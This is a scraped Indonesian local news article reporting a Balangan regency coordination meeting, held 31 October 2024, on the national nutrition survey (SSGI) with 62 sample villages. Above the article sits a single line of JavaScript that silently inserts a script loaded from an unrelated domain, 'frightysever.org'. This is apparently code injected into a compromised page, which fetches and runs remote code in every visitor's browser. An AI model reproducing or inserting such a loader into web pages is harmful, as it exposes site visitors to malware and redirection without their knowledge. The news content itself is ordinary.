(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Persiapan SSGI, Pemkab Balangan Libatkan 62 Desa sebagai Sampel

KANALKALIMANTAN.COM, PARINGIN – Menjelang pelaksanaan Survei Status Gizi Indonesia (SSGI) di Kabupaten Balangan, Pemerintah Kabupaten Balangan mengadakan rapat koordinasi di Aula Benteng Tundakan, Kamis (31/10/2024).

SSGI merupakan program nasional yang bertujuan untuk memantau dan menganalisis kondisi gizi masyarakat di seluruh Indonesia.

Rapat koordinasi dipimpin Asisten Perekonomian dan Pembangunan Setda Balangan, Tuhalus, dihadiri Kepala Badan Perencanaan, Pembangunan, Riset dan Inovasi Daerah Rakhmadi Yusni, Kepala Dinas Pemberdayaan Perempuan dan Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana, Pemberdayaan Masyarakat Desa Akhmad Nasa’i, dan Plt Kepala Dinas Kesehatan Ahmad Sauki.

SSGI di Kabupaten Balangan akan melibatkan 62 desa sebagai sampel, dan dalam rapat ini, para kepala desa yang terpilih turut dihadirkan.

Asisten Bidang Perekonomian dan Pembangunan Setda Balangan Tuhalus mengatakan bahwa pihaknya telah sepakat melibatkan hampir seluruh bagian, mulai dari kepala dinas, camat, kepala desa, hingga petugas lain di bawahnya.

“Harapan kami adalah agar ini dapat dikoordinasikan dengan berbagai pihak lain, seperti dinas kesehatan, BKKBN, camat, kepala desa, serta pihak lain, termasuk Adaro, yang dapat memberikan dukungan,” ujarnya.

Untuk memberikan pemahaman kepada pihak yang terlibat dalam SSGI, Plt Kepala Dinas Kesehatan Ahmad Sauki menjelaskan bahwa SSGI berkaitan dengan stunting dan dilaksanakan setiap lima tahun sekali. (Kanalkalimantan.com/mcbalangan)

Editor: kk